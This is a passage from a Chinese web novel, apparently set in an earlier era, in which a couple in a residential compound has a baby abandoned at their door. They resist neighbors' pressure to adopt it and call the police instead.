邻居们七嘴八舌的,都说黄咏梅不对,哪儿有怪受害者的,黄咏梅不跟大家计较,她今儿就是想把孩子给关家的,她道:“你少废话,孩子是放到你们家的,你们家是管还是不管?” 夫妻俩还没说话呢,人群里有人开口了。 “丫头片子吧?肯定是生了女孩儿,不想养,又狠不下心溺死,这才想着给找个好人家的。既然放到你们家了,百钺,反正你和清云还没孩子,就养了吧。常话说,救人一命胜造七级浮屠,养孩子又花不了多少钱,快抱过去养了吧。” “就是,反正关家康两口子工资高,百钺和清云又都有工作,别说养一个孩子了,就是养上十个八个的,都不成问题。” “话不是这么说的,凭什么养别人的孩子啊。人家清云又不是不能生......” “能生结婚这么多年了,怎么不见她生孩子?我看八成就是不能生......” 你一句我一句的,十分热闹。关百钺眯眼,一个个看热闹不嫌事大的。他们关家日子是过得好,可不代表就得养别人的孩子吧。 “报警!”关百钺一锤定音,“大冷的天,这人把孩子往门口放,门都不敲就走了,这是什么?这是杀人!” 关百钺最气的,就是如今,竟然没多少人觉得遗弃孩子的父母不对。遗弃罪虽然五零年入了刑法,可惜后来因为种种原因,又被从法典里摘除,直到七九年才重新纳入刑法,不过仅限于家庭成员之间遗弃。九七年修订刑法,才将遗弃罪的保护范围扩大到所有没有独立生活能力的人。 经历过特殊的历史时期,大家有一个很残忍的观念,那就是不管咋样,不管孩子在不在身边,只要给孩子找一个活路,就是对孩子好,就是合格的父母。所以这时候不能拿遗弃说事儿,关百钺将事情上升到杀人,也只有如此,才能引起大家的重视。 关百钺语气铿锵有力,他说:“大家想一想,要不是黄阿姨把孩子抱回家暖着,一晚上孩子是不是就没了?这不是杀人是什么!报警,坚决报警,这种人太可恨了,要是人人都这么做,咱们大院儿还有安静的日子没有!那些养不起孩子的往咱们大院一放,咱们就乖乖养了,后果是什么?我今儿要是说收养,等着瞧吧,明儿来咱们大院遗弃孩子的都得排队!大家想一想,我说的有没有道理?” 怎么可能没道理。一想到明儿家门口可能就多一个孩子,本来单纯看热闹的邻居,一个个也不淡定了,纷纷改变了说法。 “报警,一定要报警。这是蓄意杀人,必须严肃处理。” 警察来了,事情就能处理了吗?哪儿有那么简单,事情可以调查,孩子呢?要是关家不收养的话,就得送孤儿院了。有那想开口劝两句的老警察,刚准备开口,还没说话呢,被邻居们呛呛开了。 “可不敢养,警察同志,事儿不是这么办的。百钺和清云要是养了,等着吧,明儿往各个大院扔孩子的都得排队。就是你们那警察家属院,人家都不会放过的。你们自己寻思寻思,到时候摊上这事儿了,给不给别人养孩子?” “就是,这不是难为人家百钺两口子吗?小两口是年纪小,可我们这些邻居看着呢,不能这么平白欺负人。” 关百钺翘起一边嘴角,不就是利用舆论嘛,谁不会啊。你黄咏梅会,我关百钺只会青出于蓝而胜于蓝! 黄咏梅只觉得被挑衅了,嗷一嗓子喊上了:“做了孽啊,小小年纪就这么狠的心肠,还领导呢,没有品德......” “妈!”顾云凯觉得难堪极了,不管怎么样,关百钺如今是他的领导,他妈就这么想给领导脸上抹黑?领导不好了,对他是有什么好处吗?他就是一普通工人,就是关百钺下去了,厂长那个位置,也轮不到他啊。 黄咏梅的哭嚷戛然而止,这女人如今也是练出来了,知道以后养老得靠儿子,儿子一说就停下来,脸上的泪也刷一下收住,若无其事地抹了把脸,昂起头,神人不理地蹭蹭蹭往家走。 邻居们都看傻眼了。这是唱的哪儿一出啊,像是非要往关家扔点儿糟心事儿才行,人家过的好她就不顺心,非要别人跟她一样闹心才行。 章清云才不管这个呢,这样的垃圾人就不能理,理了她能以各种诡异的理由粘上来。领着警察去门卫那里,章清云介绍道:“大院是有严格的出入制度的,陌生人进出肯定要登记,孩子是昨晚送来的,看一下出入记录,应该就能找出来是谁丢的孩子。” 领着警察到地方,章清云就算完成任务了。不是警察想不到这里,是早点儿介绍清楚,好缩短办案时间。她是喜欢孩子,可那前提得是她自己的。别人的孩子,她可以捐钱捐物地去孤儿院,但不会养到家里。家,是她两辈子好不容易经营起来的,不容陌生人侵占。 等人群散开的差不多了,关盈钺和师援军才过来,一人牵着安安,一人抱着康康。大早上两人在家照顾孩子呢,师援军是要上班了才出来的,路上听说后马上回家叫人,这才晚了些。 进关家时,关盈钺脸上还带着气呢,说话格外的大声:“这是谁不想让你俩过好日子!真是不要脸,百钺,清云,你俩可千万别心软,孩子是可怜,多买些东西送过去都行,但是不能养在家里,这事儿我绝对不同意!” 故意对着门外喊了一通,这才关上门,看了一圈儿,没见到孩子的影儿,这才放心,安慰章清云道:“别听那些人胡说,当初结婚的时候都说好了的,二十四岁之前不要孩子,我和百钺都知道,爸妈那里都不催,那些人叽叽咕咕什么,有他们什么事儿啊!要是听见不好的话,直接怼回去,不用忍。” 章清云笑:“姐,我知道,你不是看见了,我俩根本没打算收养那孩子。” “这就对了。” 又说了会儿话,周一还得上班呢,都没耽搁,给安安塞了两颗糖,这就走了。也不知道事情怎么传的这么快,文工团都有人知道了,章清云刚换好衣服进入训练室,就被队员们缠上了。 “清云,你家门口真被放了个孩子啊?” “可真是缺德,这么冷的天儿,也不怕孩子放一晚冻死!” 有谴责孩子父母的,就有阴阳章清云铁石心肠的,“就是多一口饭的事儿,又不是养不起,清云,你这可有点儿狠心了。人家把孩子不给别人,就扔你们家门口,这也是慎重考虑过的,你就是养了又怎么了,就当积福了。以后多一个闺女孝顺你,也是福气呢。” 章清云说出了那句经典的问话:“哦,那这福分给你,你要不要?我知道送哪个孤儿院了,我领你去收养收养这福气?”